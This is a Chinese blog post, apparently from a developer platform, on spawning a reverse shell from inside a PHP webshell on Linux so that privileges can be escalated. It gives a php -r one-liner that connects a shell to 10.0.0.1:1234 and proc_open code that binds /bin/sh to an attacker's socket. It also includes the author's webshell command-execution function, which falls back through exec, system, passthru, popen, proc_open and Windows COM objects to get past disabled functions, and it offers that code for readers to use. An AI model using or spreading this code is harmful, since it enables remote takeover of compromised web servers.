php通过web调用shell,php webshell下直接反弹shell(不借助任何其他语言)

linux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。

我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。

在我收集的反弹shell集合(http://tool.p1ng.pw/getshell.html)中,有一个方法,就是在命令行中输入:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");'

但是有个问题,如果在webshell里执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了,这个方式比较粗鲁。而我的思路是:我只希望把我新创建的进程(/bin/sh)的标准输入输出重定向到socket中,不去动系统的东西。

当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。不需要任何其他语言的支持,php足矣。

$sock = fsockopen($ip, $port);

$descriptorspec = array(

0 => $sock,

1 => $sock,

2 => $sock

);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($process);

其中$ip是反弹的ip,$port是反弹的端口,这也是我个人版webshell里一个小功能:

imgpxy.php?url=gpj.826422000082014102%2F0141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

反弹shell的时候web页面会卡死,因为php没有异步的函数,默认也不支持多线程,所以卡住这个现象很正常,不影响反弹shell。

不过我试了,在windows下似乎不能完美运行。不知道是我环境问题(杀毒软件等)还是代码问题。silic的大马中有一个windows反弹的功能,windows下可以使用:

imgpxy.php?url=gpj.216522000082014102%2F0141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

具体代码请自行到silic webshell中查看。我没有试过,不知道成功率怎么样。

另附我的webshell中执行命令的函数,各位看官自行修改后可以使用。有可以补充的,欢迎告诉我呀~function exec_comm($cmd, &$type = '', &$suc = TRUE)

{

set_error_handler("customError");

$re = false;

if (empty($cmd)) return '执行结果';

if (empty($type)){

if(function_exists('exec')){

@exec($cmd, $re);

$re = join("\n", $re);

$type = 'exec';

}else if(function_exists('shell_exec') && ($re = shell_exec($cmd))){

$type = 'shell_exec';

}else if(function_exists('system')){

@ob_start();system($cmd);$re=@get_ob_contents();@ob_end_clean();

$type = 'system';

}else if(function_exists('passthru')){

@ob_start();passthru($cmd);$re=@get_ob_contents();@ob_end_clean();

$type = 'passthru';

}else if(is_resource($f = popen($cmd,"r"))){

while(!@feof($f)){$re .= @fread($f,1024);}@pclose($f);

$type = 'popen';

}else if(function_exists('proc_open')){

$descriptorspec = array(

0 => array("pipe", "r"),

1 => array("pipe", "w"),

2 => array("pipe", "w")

);

$process = proc_open($cmd, $descriptorspec, $pipes);

if (is_resource($process)) {

fwrite($pipes[0], "{$cmd}\r\n");

fwrite($pipes[0], "exit\r\n");

fclose($pipes[0]);

// 读取输出

while (!feof($pipes[1])) {

$re .= fgets($pipes[1], 1024);

}

fclose($pipes[1]);

while (!feof($pipes[2])) {

$re .= fgets($pipes[2], 1024);

}

fclose($pipes[2]);

proc_close($process);

}

}

}else if($type == 'wscript'){

$s= new COM('wscript.shell');

$exec = $s->exec($cmd);

$stdout = $exec->StdOut();

$re = $stdout->ReadAll();

}else if($type == 'application'){

$exe = gpc('exe', 'post', 'c:/windows/system32/cmd.exe');

$shell= new COM('Shell.Application');

$shell->ShellExecute($exe,$cmd);

$re = "请查看{$cmd}中输入文件内容\n";

}

if ($re === false){ $re = '命令执行可能失败,可能是执行函数被禁用或执行无回显'; $suc = FALSE;}

return $re;

}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值